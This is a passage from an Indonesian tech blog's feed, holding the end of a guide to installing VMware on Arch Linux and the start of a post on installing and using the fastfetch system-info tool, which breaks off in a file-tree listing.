&lt;code&gt;vmware-usbarbitrator.service&lt;/code&gt; agar memudahkan saya nanti jika &lt;em&gt;virtual machine&lt;/em&gt; dari VMWare ingin mengakses USB yang terpasang pada komputer fisik saya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-networks.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-usbarbitrator.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Atau kalau ingin kedua &lt;em&gt;services&lt;/em&gt; tersebut juga langsung jalan begitu komputer dinyalakan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--now&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-networks.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--now&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmware-usbarbitrator.service&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Kernel Module Load&lt;a href=&quot;#kernel-module-load&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga memerlukan beberapa kernel module:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;vmmon&lt;/code&gt; (&lt;strong&gt;&lt;em&gt;Virtual Machine Monitor&lt;/em&gt;&lt;/strong&gt;): driver utama untuk menjalankan VMWare Workstation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vmnet&lt;/code&gt; (&lt;strong&gt;&lt;em&gt;Virtual Machine Networks&lt;/em&gt;&lt;/strong&gt;): membuat dan mengatur interface jaringan virtual (seperti bridged, NAT, dan host-only).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vmw_vmci&lt;/code&gt; (&lt;strong&gt;&lt;em&gt;VMWare’s Virtual Machine Communication Interface&lt;/em&gt;&lt;/strong&gt;): mengaktifkan kecepatan dan komunikasi langsung antara VM, host, dan hypervisor.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk me-&lt;em&gt;load&lt;/em&gt; ketiga kernel module tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;modprobe&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmmon&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;modprobe&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmnet&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;modprobe&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmw_vmci&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan ketiganya sudah berhasil ter-&lt;em&gt;load&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsmod&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmmon&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsmod&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmnet&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lsmod&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vmw_vmci&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;loading kernel module&quot; loading=&quot;lazy&quot; width=&quot;412&quot; height=&quot;820&quot; src=&quot;/_astro/ss3.CW4uQ7Om_1DarFN.webp&quot; /&gt;&lt;figcaption&gt;loading kernel module&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Run VMWare&lt;a href=&quot;#run-vmware&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sampai sini, kita sudah selesai melakukan instalasi VMWare.&lt;br /&gt;
Sekarang, VMWare harusnya sudah dapat dijalankan dengan perintah &lt;code&gt;vmware&lt;/code&gt; di terminal atau melalui app launcher favorit kalian.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel advanced mengenai instalasi VMWare di Archlinux dapat dibaca di wiki berikut: &lt;a href=&quot;https://wiki.archlinux.org/title/VMware&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/VMware&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;br /&gt;
Sampai jumpa lagi di artikel saya yang lain!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Mayoritas artikel ini disusun dengan merujuk pada video Youtube berikut:&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/VMware&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/VMware&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/VMware&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/VMware&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/VMware&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/VMware&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Fastfetch: Neofetch Reborn</title><link>https://shangdi.github.io/posts/tech/fastfetch/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/fastfetch/</guid><description>If you are a legendary linux nerd, you might have known neofetch. But, since neofetch is no longer maintained, fastfetch emerges as its exact replacement, unless it has way more convenince and beautiness.</description><pubDate>Mon, 06 Jul 2026 05:00:52 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;About &lt;code&gt;fastfetch&lt;/code&gt;&lt;a href=&quot;#about-fastfetch&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Salah satu CLI (&lt;em&gt;Command-Line Interface&lt;/em&gt;) &lt;em&gt;tool&lt;/em&gt; yang paling sering digunakan, terutama di kalangan pengguna linux, adalah &lt;code&gt;neofetch&lt;/code&gt;. &lt;code&gt;neofetch&lt;/code&gt; adalah &lt;em&gt;software&lt;/em&gt; yang digunakan untuk menampilkan informasi sistem yang kita gunakan, mulai dari hardware hingga software.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Akan tetapi, per 26 April 2024, &lt;em&gt;owner&lt;/em&gt; atau pemilik atau &lt;em&gt;developer&lt;/em&gt; &lt;code&gt;neofetch&lt;/code&gt; menghentikan pengembangan software tersebut (saya sendiri tidak tahu alasannya kenapa). Akhirnya, banyak orang mencari alternatifnya.&lt;/p&gt;&lt;p&gt;{{&amp;lt; github repo=“dylanaraps/neofetch” showThumbnail=true &amp;gt;}}&lt;/p&gt;&lt;p&gt;Akhirnya, muncullah &lt;code&gt;fastfetch&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fastfetch&lt;/code&gt; sebetulnya identik dengan &lt;code&gt;neofetch&lt;/code&gt;. Ia juga adalah sebuah &lt;em&gt;tool&lt;/em&gt; berbasis CLI untuk menampilkan informasi mengenai sistem yang kita gunakan, mulai dari hardware hingga software. Perbedaan utamanya, jika &lt;code&gt;neofetch&lt;/code&gt; ditulis langsung menggunakan bash (shell script), maka &lt;code&gt;fastfetch&lt;/code&gt; dibuat dengan menggunakan bahasa pemrograman C. Selain itu, &lt;code&gt;fastfetch&lt;/code&gt; juga menyediakan template dan kemudahan kustomisasi output-nya.&lt;/p&gt;&lt;a href=&quot;https://github.com/fastfetch-cli/fastfetch&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;fastfetch-cli&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;fastfetch&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;fastfetch&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y fastfetch&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy fastfetch&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install fastfetch&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install fastfetch&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install fastfetch&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Simple Usage&lt;a href=&quot;#simple-usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cara menggunakannya sesederhana mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fastfetch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;fastfetch&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;819&quot; src=&quot;/_astro/ss1.D-AXPEqw_Z1F7SLt.webp&quot; /&gt;&lt;figcaption&gt;fastfetch&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;With Template&lt;a href=&quot;#with-template&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga bisa menggunakan template yang sudah disediakan. Biasanya, file konfigurasi template-nya akan tersimpan di &lt;code&gt;/usr/share../images/fastfetch/presets&lt;/code&gt; dan &lt;code&gt;/usr/share../images/fastfetch/presets/examples&lt;/code&gt;. File configurasi &lt;code&gt;fastfetch&lt;/code&gt; berekstensi &lt;code&gt;.jsonc&lt;/code&gt;. Berikut adalah file tree-nya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/usr/share../images/fastfetch/presets&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── all.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── archey.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── ci.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── neofetch.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── palefetch.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├── screenfetch.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└── examples&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 2.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 3.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 4.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 5.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 6.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 7.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 8.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 9.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 10.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 11.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 12.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 13.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 14.jsonnc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 15.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 16.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 17.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 18.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 19.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 20.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 21.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 22.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 23.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 24.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 25.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── 26.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    